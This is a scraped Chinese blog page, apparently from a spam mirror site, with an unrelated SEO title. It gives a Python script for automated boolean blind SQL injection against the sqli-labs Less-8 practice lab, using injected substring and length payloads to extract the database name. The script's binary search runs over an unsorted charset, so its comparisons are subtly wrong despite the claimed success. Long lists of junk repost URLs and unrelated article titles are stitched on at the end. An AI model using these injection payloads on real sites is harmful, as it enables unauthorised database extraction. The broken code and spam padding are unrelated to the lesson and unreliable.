当前位置: 首页 > wzjs >正文

花都区营销型网站建设设计商标

花都区营销型网站建设,设计商标,府网站建设先进个人,一家专做二手手机的网站叫什么手机为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。以靶场sqli为例:import requests# 目标URL url "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数…

为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。

以靶场sqli为例:

import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

代码解释:

  1. get_database_length 函数:与原代码相同,用于推断数据库名的长度。
  2. get_database_name 函数
    • 使用二分查找来推断数据库名的每一个字符。
    • 对于每一个位置 i,初始化左右指针 left 和 right 分别指向字符集的起始和结束位置。
    • 在每次循环中,取中间位置 mid 的字符 char,构造 SQL 注入 payload 进行判断。
    • 如果判断结果为真,则将左指针 left 移动到 mid + 1;否则,将右指针 right 移动到 mid - 1
    • 当 left > right 时,循环结束,此时 charset[right] 即为该位置的正确字符。
  3. 主函数:调用 get_database_length 函数获取数据库名的长度,然后调用 get_database_name 函数推断数据库名,并输出结果。

运行结果:

成功字符比对出数据库长度和名称


文章转载自:

http://ZWmRasZm.mdtfh.cn
http://YQhWCAei.mdtfh.cn
http://5Lw3yziL.mdtfh.cn
http://roSJ4fNY.mdtfh.cn
http://WB0dMDSj.mdtfh.cn
http://IepDR6Ba.mdtfh.cn
http://nepMwXko.mdtfh.cn
http://t6S5V1fZ.mdtfh.cn
http://lk0OxHEu.mdtfh.cn
http://slBFzyBv.mdtfh.cn
http://M2673amm.mdtfh.cn
http://gPGbgbuw.mdtfh.cn
http://Z3Vmh5WR.mdtfh.cn
http://Uq0npKRv.mdtfh.cn
http://q24QmS9l.mdtfh.cn
http://cONN1OdP.mdtfh.cn
http://qBk4wVYB.mdtfh.cn
http://KhW62eTb.mdtfh.cn
http://sjaM3EFG.mdtfh.cn
http://D1M9KKBM.mdtfh.cn
http://KYHIuTuG.mdtfh.cn
http://HM96aEKh.mdtfh.cn
http://8bbFfZqu.mdtfh.cn
http://Lv9eXQoF.mdtfh.cn
http://0nrgQ1Ps.mdtfh.cn
http://9fix74Gs.mdtfh.cn
http://hCEamrtU.mdtfh.cn
http://FVhTcuh6.mdtfh.cn
http://TtweLDkS.mdtfh.cn
http://w30dmmox.mdtfh.cn
http://www.dtcms.com/wzjs/695654.html

相关文章:

  • 提升审美网站电商的运营模式有几种
  • 网站qq链接怎么做做教案找资料有哪些网站
  • 如何做网络推广网站哪里有网站建设官网
  • 网站的建设与运营专业好的营销网站设计公司
  • 做的网站缩小内容就全乱了wordpress安装后慢的不行
  • 吉林网站建设代理渠道义乌建站
  • 龙岩网站建设极速建站wordpress上传logo
  • 网站制作公司中怎么把网站排名优化
  • 目前做的比较好的法律网站有哪些上海制造业企业100强
  • 昆山网站优化微信手机网站
  • 品牌网站开发背景清明节ppt模板免费下载
  • 深圳市盐田区住房和建设局网站济南官网
  • 求个国外在线网站杭州 网站开发
  • 好网站网络推广员压力大吗
  • 门窗网站模板百度快速排名优化技术
  • 青岛建设银行网站首页深圳做网站d
  • 商城网站的基本功能做网站济南西
  • 网站节点加速如何做app软件开发
  • 辽宁网站建设论坛计算机网站开发是什么专业
  • 江宁网站建设价位大公司网站开发
  • 做公司网站有没有必要数字货币网站开发需求
  • 京东商城网站建设分析秦皇岛金洋建设集团网站
  • 有没有专业做steam创客的网站个人网站开发的意义
  • 全网营销一站式推广网站页面设计怎么分析
  • 如何让百度快速收录网站wordpress 请选择一个文件夹
  • 网页小游戏免费秒玩wordpress 优化变快
  • 东莞做网站dgjcwl网站中文商标域名注册
  • 网站建设丿金手指下拉h5做的网站
  • 做小程序好还是做微网站好小游戏网站怎么做
  • 内网 做 网站seo的培训课程